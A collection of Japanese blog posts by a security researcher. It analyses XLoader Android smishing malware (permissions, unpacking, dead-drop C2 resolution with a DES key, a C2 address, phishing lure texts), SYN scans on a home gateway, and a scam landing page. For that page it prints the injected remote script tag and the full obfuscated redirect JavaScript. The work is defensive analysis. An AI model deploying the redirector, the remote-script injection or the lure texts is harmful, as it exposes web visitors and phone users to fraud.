宅配業者を装ったSmishingキャンペーン総括

はじめに

こんにちは、morimolymolyです。
今回は宅配業者を装ったSmishingキャンペーンについてマルウェアに関して解析を行ったので紹介いたします。
前回の記事は以下となっております(技術的でハンズオン的な内容ですので技術者でないと読みづらいかもしれません)

morimolymoly.hateblo.jp

前回の流れ

まずマルウェアに感染したとある端末から僕あてに不審なSMSが届きました。
マルウェアを解析したところ、現在猛威を奮っている凶悪なSmishingキャンペーンを動かすものでした。
これらの司令塔となるC2(コマンドアンドコントロールサーバ)を特定し、配信文面を隠蔽している場所も特定いたしました。

特定した場所に格納されている配信文面はTwitterなどでも話題になっているのと全く同一のものでした。
今回はそれにアクセスし、どのようなマルウェアが潜んでいるのか、またそのキャンペーンについて解析しました。

検体の確保と解析

Android端末から配信文面に記載されているURLに飛ぶと、不正なapkがダウンロードされます。
不正なapkをApktoolで解凍し、class.dex(マルウェア本体)を解析します。

表層解析で文字列検索してみるとURLやwebsocket(C2)のアドレスが手に入ります。
この時点で今回のマルウェアはパッキングされているものではないと推測できます。

実際に検体をGhidraに食わせてみるとやたらとサイズの大きなもので解析に時間がかかりました。
AndroidManifest.xmlのしめすエントリポイントはcom.hz.keep.MyApplicationでした。

MyApplicationクラスのonCreate()メソッドでKeeyAlive.init()という関数を呼び出していることがわかります。

f:id:morimolymoly:20210207144854p:plain

このマルウェアの主要な機能はこのKeepAliveクラスにあります。

f:id:morimolymoly:20210207145010p:plain

ご覧の通り、SMS送信機能などが難読化などなしにしっかりと実装されていました。

getDataBeiyongメソッドはC2のアドレスを取得するためにKeepAlive$3クラスを新しいスレッドとして走らせます。
このクラスのrunメソッドをみてみると実際にC2アドレスの格納されたwebページに訪問し、それから得られたC2のアドレスを共有設定に保存していることがわかります。

f:id:morimolymoly:20210207145416p:plain

C2を得たマルウェアは司令を受信するためのスレッドを立ち上げます。

f:id:morimolymoly:20210207145548p:plain

keepAlive.mHandlerというメンバに司令を受け取るためのハンドラが入っています。

これはKeepAlive$4というクラスが担当していて、C2へpingしたり、SMSを送信したりします。

f:id:morimolymoly:20210207145918p:plain

f:id:morimolymoly:20210207145937p:plain
SMS送信

マルウェアについて

マルウェアは全体的に中国語のコメントばかりでした。
また丁寧にログも吐いていて、それも中国語でした。
使っているSDKはUmengという中国特有?(少なくとも日本語情報はGoogleでは引っかかりませんでした)を使っていて、アクターは中国語圏にいることが推測できます。

www.umeng.com

キャンペーンについて

おそらく最初に解析したXLoaderがインフラとなり、この謎のマルウェアを配布しているものだと考えられます。
まだわからないことが多いので注視する必要があるでしょう。

IOC

Smishingが来たので解析した #フィッシングSMS #Androidマルウェア解析

はじめに

こんにちは。morimolymolyです。
今日は僕の携帯にきた不正なSMSとそれからもたらされる不正なapkファイル(マルウェア)の解析をします。

注意

これはサイバー犯罪注意喚起、マルウェア解析学習のために執筆した記事です。
読者の皆様は不審なURLなどはくれぐれも開かないように注意してください。

SMS受信

2021/02/02、家でぼーっとしていると1件のSMSが到着した。
番号は携帯電話の番号。
緊急事態宣言中にむやみに外に出る人間ではないため、スパムと判定し自らリンクを踏むことにした。
f:id:morimolymoly:20210203155047j:plain

するとどう解釈してもGoogleに結びつかないURLからChromeのセキュリティを指摘され、謎のapkファイルをインストールするように要求される。
f:id:morimolymoly:20210203155243j:plain

検体をダウンロードし、解析用のマシンに移しすぐさま解析に取り掛かった。

検体の表層解析

ダウンロードしたファイルはdroxdlgomh.apkと騙す気があるのか謎のapkファイルだった。
まずはapkをバラすことにした。
Apktoolでバラすと以下のような構成になっていた。

% tree
.
├── AndroidManifest.xml
├── apktool.yml
├── assets
│   └── svc
│       └── 1k7vcor
├── classes.dex
├── kotlin
│   ├── annotation
│   │   └── annotation.kotlin_builtins
│   ├── collections
│   │   └── collections.kotlin_builtins
│   ├── coroutines
│   │   └── coroutines.kotlin_builtins
│   ├── internal
│   │   └── internal.kotlin_builtins
│   ├── kotlin.kotlin_builtins
│   ├── ranges
│   │   └── ranges.kotlin_builtins
│   └── reflect
│       └── reflect.kotlin_builtins
├── lib
│   └── arm64-v8a
│       └── libnative-lib.so
├── original
│   ├── AndroidManifest.xml
│   └── META-INF
│       ├── CERT.RSA
│       ├── CERT.SF
│       └── MANIFEST.MF
└── res
    ├── drawable-xhdpi
    │   ├── ic_launcher.png
    │   └── icon.xml
    ├── layout
    │   └── main.xml
    └── values
        ├── ids.xml
        └── public.xml

17 directories, 21 files

怪しいファイルは

  • classes.dex
  • AndroidManifest.xml
  • assets/svc/1k7vcor
  • lib/arm64-v8a/libnative-lib.so

だろう。

とりあえずAndroidManifest.xmlを確認し、権限などをみていく。

<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" package="qkd.kavvng.va" platformBuildVersionCode="23" platformBuildVersionName="6.0-2438415">
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.WAKE_LOCK"/>
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
    <uses-permission android:name="android.permission.READ_PROFILE"/>
    <application android:icon="@drawable/ic_launcher" android:label=" Chrome" android:name="uynj.NlApplication">

権限としては以下のようなものがある(いろいろ省いているので各自確認してください)

  • WiFiの状態取得
  • ネットワークの接続管理
  • 電話の発信
  • オーディオ設定
  • スクリーンロックの解除(!!!!!!!!!)
  • SMSの受信/送信

おそらくapkをインストールした端末がbotになりフィッシングSMSを送信するのだろう。(これを受信したときの番号はあきらかに携帯電話だったのはそのため)

classes.dexは文字列を検索してもろくなものが引っかからないし、サイズが小さすぎる。
assets/svc/1k7vcorはわけのわからない小さなバイナリファイルだった。

またエントリポイントはNlApplicationであることがわかった。

検体の静的解析

Ghidraにclasses.dexとlib/arm64-v8a/libnative-lib.soを食わせる。

classes.dexには9個のclassが存在した。
しかしまともに機能するクラスは3つだった。
おそらく解析妨害のためにクラスをむやみに増やしている。

1つめはアラームサービスを設定するクラス(MaService)でlib/arm64-v8a/libnative-lib.soの中にあるJava,Util.Cov関数と連携している。
あまり重要なクラスではないのでパス。

2つめはK1ActivityでAndroid素人のためよくわからないが、大した動作を行っていない。アラームサービスを設定するクラスを呼び出したりしていた。

3つめが一番大事なクラスで、NlApplicationだ。
これはパッキングされたバイナリをアンパッキングしクラスとしてロードする。

検体によるパッキングを用いた対解析耐性

以上からわかるとおり、単に静的解析しても不正な動作をみつけることができない。
マルウェアにおいてはよくあることだが、重要な動作は解析されるのを避けるためにパッキングすることが多い。

それでは、NlApplicationのアンパック機構を解析していく。
……解析していくと意気込んでいたがそう難しいものではない。
なんとアンパックのアルゴリズムがそのままNlApplicationクラス内に存在するからだ。

NlApplicationクラスにはメソッドとして

  • a
  • b
  • c
  • d
  • e
  • f
  • g
  • h
  • i
  • コンストラク
  • onCreate

が実装されている。

NlApplicationは onCreate() → d() →h() → … と遷移していく。
この onCreate() → d() →h() のみでアンパックをする術を理解することができる。  

アンパック

アンパックアルゴリズムは d, hメソッドを読むだけで良い。
読むだけで良いのはそのままの意味で、GhidraがJavaのコードにデコンパイルしてくれるからだ。

アンパックする対象は assets/svc/1k7vcor であることがわかった。

以下にアンパックするコードを示す。(例外とか何もかもが汚いのはゆるして)

gist.github.com


変数名が謎なのは解析するときに適当に手動で名付けたのとGhidraの自動命名のため。

ペイロードの読み込み

さて、正常にペイロードを取得することができた。
上記のコードを assets/svc/1k7vcor にたいして実行するとdecryptedというファイルを取得できる。
これはzlibで圧縮されている。各自解凍すればdexファイルを得ることができるはずだ。

さて、マルウェアの解析に戻る。
アンパックが終わった後、dメソッドからiメソッドが呼ばれる。
iメソッドではアンパックされたdexから最初にロードするクラスを指定するための文字列を生成している。
単にコード中に埋め込んでしまうと解析者に有利に働くために、難読化していると思われる。
具体的には、com.Loaderというクラス名を得るために、Compilerクラスの名前をsubstring(切り取り)し、Loaderクラスの名前と文字列の合成することでcom.Loaderという文字列を動的に生成している。

iメソッドでcom.Loaderという文字列を得た後、aメソッドに遷移する。
aメソッドではbメソッドで実際にcom.Loaderクラスを得て、lib/arm64-v8a/libnative-lib.soの中にあるjava.util.c関数を呼び出し、クラスをロードさせる。

lib/arm64-v8a/libnative-lib.soの中ではわちゃわちゃとやっているが大した動作を行っていないと思う。
Javaの型定義が不足していてイマイチわからないコードになっている。

f:id:morimolymoly:20210203164944p:plain

今後もJavaの型定義が必要ならつくって公開していきたい。

アンパックされたペイロードの解析

ペイロードのエントリポイントがわからなかった。
AndroidManifest.xmlに記述はないし、デコンパイルしたapkにもそれらしきコードがない。

ひとまずcom.Loaderのコンストラクタから順にざっと確認。
以下のような機能が実装されていることがわかった。

  • Chromeとしてシステムに侵入(base64エンコードされたChromeのアイコンで偽装)(タップすると本物のChromeが立ち上がる)
  • default SMSアプリとして動作、
  • 詐欺の文言を提示するダイアログ
  • 外部SNSへ接続(htmlから正規表現でなにかを取得)(
  • インストールされているアプリのチェック
  • ローカルサーバの立ち上げ

C2機能のようなものが存在することから、botとして動き、SMSをばらまくはず。

またSMSで送信するコンテンツはどうやらSNSから取得している可能性がある。
megalodon.jp

ちょうど今日ばらまかれたSMSの文面がのっている。
これらに着目すれば今後の文面も予め予想できるのではないか。

マルウェアファミリ名が明らかに

XLoaderらしいです

www.talent-jump.com

動き

去年の3月から観測*1はされているようで、使用しているアカウントなどは変わっていない
C2はvk, youtube, instagram, GoogleDocs, blogspot, bloggerに対応できるように作られているが、今回の検体ではblogspotのみになっている。

;zc|y43wrgsdf@blogspot|wqeeqwgfdty@blogspot|y4wgres@blogspot という特徴的な文字列がアンパックしたマルウェアの中に埋め込まれていて、それを | で分割して取り出している。
日本語と韓国語で設定を変えている動きもあった。
それではC&Cサーバを特定していこう。

C2特定

実際にblogpostに訪問してみた
https://y43wrgsdf.blogspot.com/?m=1
https://y4wgres.blogspot.com/?m=1
https://wqeeqwgfdty.blogspot.com/?m=1

f:id:morimolymoly:20210206172322p:plain

どれも
woztxebZIaOjNbHBWXq877npuwlRaTZe
なる文字列が埋め込んであった。

ペイロードリバースエンジニアリングしていくと、上記のURLに訪問し、正規表現で上の文字列を取り出していることがわかった。
その文字列をbase64でデコードして、埋め込まれている Ab5d1Q32 という鍵(1年前と変わっていない)でDES暗号を復号化し、C2のアドレスを解決しているようだった。

実際にコードを書いてみて復号化してみるとC2のアドレスが取得できた。
C2: 45.114.129[.]48:28866

get_c2_from_xloader_2021-02-06.java · GitHub

一年程度では基本構造は変えないようですね。

まとめ

簡単にAndroid向けマルウェアを静的解析した。
検体はXLoaderというファミリで、おそらく基本的な構造やパッキング、難読化手法、暗号化手法も変わっていないはずだ。
C&Cサーバの監視、詐欺文面隠蔽場所の監視をすればいち早く攻撃者の動向がわかるはずだ。

それでは。

IOCs

詐欺文面等

日本語のみ抜粋。
他にも、ロシア語、中国語、韓国語、ジョージア語、タイ語ベンガル語アラビア語ヘブライ語アルメニア語に対応していた

  • [氏名]、[生年月日]を確認した後、再度入力してください
  • Googleアカウント危険、認証完了後使用してください
  • 」はより速くサイトを訪問し、そしてスマホのサーフィン体験を向上します。
  • 【JIBUN】お客様がご利用のじぶん銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。
  • 【JPPOST】お客様がご利用のゆうちょ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • MUFG】お客様がご利用の三菱UFJ銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • 【RTBK】お客様がご利用の楽天銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • 【SBI】お客様がご利用の住信SBIネット銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • 【SEVEN】お客様がご利用のセブン銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください。
  • SMBC】お客様がご利用の三井住友銀行に対し、第三者からの不正なアクセスをブロックしました。必ずご確認ください
  • お客様がキャリア決済にご登録のクレジットカードが外部によるアクセスを検知しました、セキュリティ強化更新手続きをお願いいたします。
  • 新バージョンが発見、アップデート完了後ご使用ください

ウクライナから家に攻撃されまくっているので解析した

はじめに


こんにちは。
morimolymolyです。

最近は就活とかおもちとかおせちとかでリソースが取られまくって、いやあ正月は最高ですね。
あ、そういえば報告していなかったですが、去年は未踏スーパークリエータに認定されるなどしました。
これからも頑張りたいですね。


ところで、読者の皆様方は、大晦日の前には大掃除なんかをして家を清めて新年を迎えると思うのですが、私は就活で頭が一杯だったため、大掃除は正月に行うことにしました。


とはいえ自分の部屋は定期的に掃除をしているし、唯一掃除をしていない箇所はルーターやホームゲートウェイ付近だけでした。
WIFIルータとホームゲートウェイの認証情報を大昔に忘れてしまい、家のネットワークの治安が乱れに乱れていたため、OSINTなども活用しつつなんとかこれらへの接続をすることができました。


WIFIルータはASUSのRT-AC68Uでssh機能を備えているなかなかにイカれたやつで、ホームゲートウェイはPR-S300SEというOCNからレンタルしているめちゃくちゃ古い製品でした。これもなかなかに香ばしくて、セキュリティとか大丈夫なのか不安になってしまい今回はこれを調査することにしました。


例のごとくROMからファームウェアを吸い出しGhidraで開くと──とすると違法らしいのでやりませんでした(本当ですよ!信用してください!)
ファームウェアが最新であることを確認し、おもむろにセキュリティログなる項目をみてみると衝撃の結果が!!!


f:id:morimolymoly:20210103225518p:plain
やめてくださいよほんとに

ワイ「チノちゃん攻撃しないで!」

チノ「うるさいですね……」


NATの段階で廃棄されているのでホームゲートウェイがなかなかに優秀に攻撃を弾いてくれていました!


ただ、攻撃者のIPアドレスをみてみるとどうやらロシアやウクライナから攻撃がきているようでした。
え?なぜ?善良な市民がロシアから?どういう攻撃を?調べてみました!!!!!!!

ゲートウェイの通信を盗聴する

f:id:morimolymoly:20210103231051j:plain


PR-S300SEなるゲートウェイONUとルータが一体になったタイプで盗聴が難しそうでしたが、優秀なオタクくん(id:kyontan2)からいい感じのインターフェイスがあることを教えていただきました。ありがとうございます。


それでは早速盗聴方法をお伝えします。

まずはONUとルータの接続部分をみつけます。これはルータ本体の裏側にあるカバーを外すだけでアクセスできました。
青い線がLANケーブルですね。

f:id:morimolymoly:20210103231139j:plain

次に、LANケーブルを盗聴します。ネットワークタップを使えば簡単にできます。
これはAmazon仕入れました

Amazon | ネットワーク パケット キャプチャ モッズ オリジナル レプリカ 監視 イーサネット 通信 アケールツール スター LAN タップ Throwing Star LAN Tap | Electric Magic | PCアクセサリ・サプライ 通販

f:id:morimolymoly:20210103231600p:plain
Oh~! Shuriken!!


先程のインターフェイスから生えてるLANケーブルの一方をタップに接続し、もう片方をもとのポートに接続させるように配線させます。

f:id:morimolymoly:20210103231931j:plain

あとはWiresharkなどでパケットキャプチャしてやれば終了!

攻撃の詳細

どんなに恐ろしい攻撃が飛んできているのかと思いきや、ただのSYNスキャンでした(いやまあログから大体わかってたけども)
1時間は観測を続けましたがSYNスキャン以外は一切攻撃が来ていませんでした。
f:id:morimolymoly:20210103233658p:plain

攻撃アクターの詳細

IPは観測した限り以下の通り(もっとたくさんある!!!!!!!)

アクターは2人の可能性がある。
ウクライナのIPレンジからは同時に攻撃は来ないが、ブルガリアウクライナはかぶるときがあった。

どのホストも80でApacheが動いていた。どうして?
ちなみに古いバージョンで、脆弱性があることはまた別のお話。

f:id:morimolymoly:20210103232802p:plain

おわりに

面白い攻撃が来ていたわけではありませんでしたが、ホームゲートウェイをいじることができたので楽しかったです。
これってルータ機能だけ別にしてDMZ構築してハニーポット植えるとか……いや治安悪くしたくないので見なかったことにします。
それにしても個人のお宅にここまで攻撃が飛んでくるのはどうしてなんでしょうか?
読者の皆様もホームゲートウェイを監視して同じような攻撃が飛んできているようなら教えて下さい(安心するので)

それでは!

詐欺ランディングページを調べた

はじめに

こんにちは、morimolymolyです。
最近、Googleの検索に詐欺ランディングページが引っかかることが多くないですか?
悪質な広告によるものや、そもそもランディング用のページを作っているものなど様々ですが、今回はたまたまみつけたランディング専門につくられたページをご紹介いたします。

ランディングページ

とある個人名で調べていると引っかかったこちらのページ。 個人名をふせたソースがこちら。 2ch(5ch)のIDっぽいのがみえるし、わけわからないページ内容だし、こんな画像を唐突に貼っているし、あきらかに適当に作ったものであることは明らか。

f:id:morimolymoly:20201110200927j:plain
へんなの

個人名をふせたものがこちら。 2ch(5ch)のIDっぽいのがみえる。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html lang="ja">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>XXXX | XXXXのプロフィール情報</title>
<meta name="keywords" content="XXXX">
<meta name="robots" content="index,follow">
<meta name="description" content="69 ID:61xN1dju0.">
<script type="application/ld+json">
{
    "@context": "https://schema.org/",
    "@type": "Product",
    "name": "XXXX",
    "description": "net 熱くないかといえば家で食べる行楽弁当wのときも 炊きたてご飯をお釜から素手でひっくり返して容器に移していたよね。 88 ID:rj2BuIBf0.",
    "aggregateRating": {
        "@type": "AggregateRating",
        "ratingValue": "5,5",
        "bestRating": "10",
        "worstRating": "1",
        "ratingCount": "1883"
    }
}
</script>
</head>
<body>
<script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script>
    <h1XXXX</h1>
    <div class="news">
        <h2>XXXXのプロフィール情報</h2>
        <img src='https://puui.qpic.cn/qqvideo_ori/0/j0510pkigvq_496_280/0' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXX</p>
        <a href="http://brokerportal.extraenergy.com/secoqet91994.html">次の</a>
    </div>
    <div class="news">
        <h2>XXXX</h2>
        <img src='http://n.sinaimg.cn/sinacn20111/85/w1080h605/20190911/480c-iekuaqt8387646.jpg' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXX</p>
        <a href="http://brokerportal.extraenergy.com/bewolev50090.html">次の</a>
    </div>
    <div class="news">
        <h2>XXXX</h2>
        <img src='https://芸能人の実家住所まとめ.com/wp-content/uploads/2017/06/Screenshot-2017-06-09_15-27-07.png' alt='XXXX' title='XXXX' style='width:200px' />
        <p>XXXX</p>
        <a href="http://brokerportal.extraenergy.com/nulizumax66573.html">次の</a>
    </div>
</body>
</html>

問題は、bodyにいきなり現れる <script src="http://tr.stoneshards.ru/trd" type="text/javascript"></script> ですね。
これが詐欺ページへと誘うJSファイルです。

謎のJSファイル

ダウンロードしてみるとゴリゴリに難読化されていました。

var _0x2bd6=['while\x20(true)\x20{}',';\x20domain=','title','gger','warn','bind','\x20|\x20','stateObject','referrer','searchers','\x5c+\x5c+\x20*(?:[a-zA-Z_$][0-9a-zA-Z_$]*)','error','return\x20/\x22\x20+\x20this\x20+\x20\x22/','constructor',';\x20expires=','length','(?:;\x20)?','href','opos','input','prototype','__proto__','cookie','debu','log','toGMTString','counter','split','return\x20(function()\x20','^([^\x20]+(\x20+[^\x20]+)+)+[^\x20]}','https://td.14-8000.ru/trds','console','test','sp_redirect','info','toString','chain','exception','trace','table','apply','com2','call','init',';\x20path=','string',';\x20secure','location'];(function(_0x4f8aab,_0x2bd6bd){var _0x533ff7=function(_0x20520a){while(--_0x20520a){_0x4f8aab['push'](_0x4f8aab['shift']());}},_0x3e47dd=function(){var _0x9f327={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x451275,_0x24e4a7,_0x10846a,_0x331757){_0x331757=_0x331757||{};var _0x2a7fe3=_0x24e4a7+'='+_0x10846a,_0xa1a7e5=0x0;for(var _0x3a20b0=0x0,_0x48658e=_0x451275['length'];_0x3a20b0<_0x48658e;_0x3a20b0++){var _0x1595bd=_0x451275[_0x3a20b0];_0x2a7fe3+=';\x20'+_0x1595bd;var _0x572efc=_0x451275[_0x1595bd];_0x451275['push'](_0x572efc),_0x48658e=_0x451275['length'],_0x572efc!==!![]&&(_0x2a7fe3+='='+_0x572efc);}_0x331757['cookie']=_0x2a7fe3;},'removeCookie':function(){return'dev';},'getCookie':function(_0x106069,_0x97b9b6){_0x106069=_0x106069||function(_0x3a8690){return _0x3a8690;};var _0x215e2b=_0x106069(new RegExp('(?:^|;\x20)'+_0x97b9b6['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)')),_0x5a4edb=function(_0x118eb1,_0x169150){_0x118eb1(++_0x169150);};return _0x5a4edb(_0x533ff7,_0x2bd6bd),_0x215e2b?decodeURIComponent(_0x215e2b[0x1]):undefined;}},_0x7d7da3=function(){var _0x41712b=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x41712b['test'](_0x9f327['removeCookie']['toString']());};_0x9f327['updateCookie']=_0x7d7da3;var _0x3c7abf='';var _0x55b47e=_0x9f327['updateCookie']();if(!_0x55b47e)_0x9f327['setCookie'](['*'],'counter',0x1);else _0x55b47e?_0x3c7abf=_0x9f327['getCookie'](null,'counter'):_0x9f327['removeCookie']();};_0x3e47dd();}(_0x2bd6,0xbb));var _0x533f=function(_0x4f8aab,_0x2bd6bd){_0x4f8aab=_0x4f8aab-0x0;var _0x533ff7=_0x2bd6[_0x4f8aab];return _0x533ff7;};var _0x1a9a42=_0x533f,_0xa1a7e5=function(){var _0x215e2b=!![];return function(_0x5a4edb,_0x3a8690){var _0x118eb1=_0x215e2b?function(){if(_0x3a8690){var _0x169150=_0x3a8690['apply'](_0x5a4edb,arguments);return _0x3a8690=null,_0x169150;}}:function(){};return _0x215e2b=![],_0x118eb1;};}(),_0x3a20b0=_0xa1a7e5(this,function(){var _0x41712b=function(){var _0x46c781=_0x533f,_0x15cce8=_0x41712b[_0x46c781('0x12')](_0x46c781('0x11'))()[_0x46c781('0x12')](_0x46c781('0x22'));return!_0x15cce8[_0x46c781('0x25')](_0x3a20b0);};return _0x41712b();});_0x3a20b0();var _0x48658e=function(){var _0x3ad38d=!![];return function(_0x5204af,_0x23ef45){var _0x417eae=_0x3ad38d?function(){var _0x134c07=_0x533f;if(_0x23ef45){var _0x2feac4=_0x23ef45[_0x134c07('0x2d')](_0x5204af,arguments);return _0x23ef45=null,_0x2feac4;}}:function(){};return _0x3ad38d=![],_0x417eae;};}();(function(){_0x48658e(this,function(){var _0x4d943f=_0x533f,_0x3d8160=new RegExp('function\x20*\x5c(\x20*\x5c)'),_0x2e2cd9=new RegExp(_0x4d943f('0xf'),'i'),_0x54e22d=_0x97b9b6(_0x4d943f('0x0'));!_0x3d8160[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x29'))||!_0x2e2cd9[_0x4d943f('0x25')](_0x54e22d+_0x4d943f('0x18'))?_0x54e22d('0'):_0x97b9b6();})();}());var _0x1595bd=function(){var _0x583c9d=!![];return function(_0x200841,_0x35abba){var _0x2c7e75=_0x583c9d?function(){var _0x141d51=_0x533f;if(_0x35abba){var _0x3b3e39=_0x35abba[_0x141d51('0x2d')](_0x200841,arguments);return _0x35abba=null,_0x3b3e39;}}:function(){};return _0x583c9d=![],_0x2c7e75;};}(),_0x572efc=_0x1595bd(this,function(){var _0x1a126a=_0x533f,_0x3172f1;try{var _0x23762c=Function(_0x1a126a('0x21')+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x3172f1=_0x23762c();}catch(_0x564021){_0x3172f1=window;}var _0x52dac9=_0x3172f1[_0x1a126a('0x24')]=_0x3172f1[_0x1a126a('0x24')]||{},_0x3b4f75=[_0x1a126a('0x1d'),_0x1a126a('0x9'),_0x1a126a('0x27'),_0x1a126a('0x10'),_0x1a126a('0x2a'),_0x1a126a('0x2c'),_0x1a126a('0x2b')];for(var _0xd54340=0x0;_0xd54340<_0x3b4f75[_0x1a126a('0x14')];_0xd54340++){var _0x26af81=_0x1595bd[_0x1a126a('0x12')][_0x1a126a('0x19')][_0x1a126a('0xa')](_0x1595bd),_0x206cec=_0x3b4f75[_0xd54340],_0x543e51=_0x52dac9[_0x206cec]||_0x26af81;_0x26af81[_0x1a126a('0x1a')]=_0x1595bd[_0x1a126a('0xa')](_0x1595bd),_0x26af81[_0x1a126a('0x28')]=_0x543e51[_0x1a126a('0x28')][_0x1a126a('0xa')](_0x543e51),_0x52dac9[_0x206cec]=_0x26af81;}});_0x572efc();class _0x106069{static['com2'](){var _0x40f03c=_0x533f,_0x1c6a09=document[_0x40f03c('0x7')][_0x40f03c('0x20')]('\x20-\x20'),_0x3fdf81=_0x1c6a09[0x0][_0x40f03c('0x20')](_0x40f03c('0xb'));function _0x405c95(_0x2029e2,_0x540834,_0x3dccd5,_0x89ce19,_0x631308,_0x449b7d){var _0x3bb735=_0x40f03c;if(!_0x2029e2||!_0x540834)return![];var _0x3f2886=_0x2029e2+'='+encodeURIComponent(_0x540834);if(_0x3dccd5)_0x3f2886+=_0x3bb735('0x13')+_0x3dccd5[_0x3bb735('0x1e')]();if(_0x89ce19)_0x3f2886+=_0x3bb735('0x1')+_0x89ce19;if(_0x631308)_0x3f2886+=_0x3bb735('0x6')+_0x631308;if(_0x449b7d)_0x3f2886+=_0x3bb735('0x3');return document['cookie']=_0x3f2886,!![];}function _0x9a3d3a(_0x154333){var _0x45158d=_0x40f03c,_0x45a09c=_0x45158d('0x15')+_0x154333+'=([^;]*);?',_0x5b19fb=new RegExp(_0x45a09c);if(_0x5b19fb[_0x45158d('0x25')](document[_0x45158d('0x1b')]))return decodeURIComponent(RegExp['$1']);return![];}function _0x522d70(_0xa94789,_0x216601,_0x5dac6c){return _0x405c95(_0xa94789,null,new Date(0x0),_0x216601,_0x5dac6c),!![];}var _0x27c7bf={};_0x27c7bf[_0x40f03c('0xe')]=[[/google\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.yahoo\./i,/(\?|&)p=(.*?)(&|$)/i,0x2],[/bing\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.aol\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/ask\.com/i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/altavista\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/search\.lycos\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/alltheweb\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/yandex\./i,/(\?|&)text=(.*?)(&|$)/i,0x2],[/(nova\.|search\.)?rambler\./i,/(\?|&)query=(.*?)(&|$)/i,0x2],[/gogo\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/go\.mail\./i,/(\?|&)q=(.*?)(&|$)/i,0x2],[/nigma\./i,/(\?|&)s=(.*?)(&|$)/i,0x2]],_0x27c7bf[_0x40f03c('0x26')]=function(_0x1455a3){var _0x487237=_0x40f03c,_0x4fb038=null;for(var _0xb7599e=0x0;_0xb7599e<_0x27c7bf[_0x487237('0xe')][_0x487237('0x14')];_0xb7599e++){var _0x24d47b=_0x27c7bf[_0x487237('0xe')][_0xb7599e];if(_0x1455a3['match'](_0x24d47b[0x0])||_0x9a3d3a('opos')=='1'){_0x405c95(_0x487237('0x17'),'1'),document[_0x487237('0x4')][_0x487237('0x16')]=_0x487237('0x23');break;}}},_0x27c7bf[_0x40f03c('0x26')](document[_0x40f03c('0xd')]);}}_0x106069[_0x1a9a42('0x2e')]();function _0x97b9b6(_0x40f01a){function _0x3b6238(_0x2cc325){var _0xa56e17=_0x533f;if(typeof _0x2cc325===_0xa56e17('0x2'))return function(_0x2626d7){}['constructor'](_0xa56e17('0x5'))[_0xa56e17('0x2d')](_0xa56e17('0x1f'));else(''+_0x2cc325/_0x2cc325)[_0xa56e17('0x14')]!==0x1||_0x2cc325%0x14===0x0?function(){return!![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2f')]('action'):function(){return![];}[_0xa56e17('0x12')](_0xa56e17('0x1c')+_0xa56e17('0x8'))[_0xa56e17('0x2d')](_0xa56e17('0xc'));_0x3b6238(++_0x2cc325);}try{if(_0x40f01a)return _0x3b6238;else _0x3b6238(0x0);}catch(_0x1b90ec){}}

これでは流石に読めないので、難読化をちょっと解除してみた。

'use strict';
var _createClass = function () {
    function defineProperties(target, props) {
        var i = 0;
        for (; i < props.length; i++) {
            var descriptor = props[i];
            descriptor.enumerable = descriptor.enumerable || false;
            descriptor.configurable = true;
            if ("value" in descriptor) {
                descriptor.writable = true;
            }
            Object.defineProperty(target, descriptor.key, descriptor);
        }
    }
    return function (Constructor, protoProps, staticProps) {
        if (protoProps) {
            defineProperties(Constructor.prototype, protoProps);
        }
        if (staticProps) {
            defineProperties(Constructor, staticProps);
        }
        return Constructor;
    };
}();
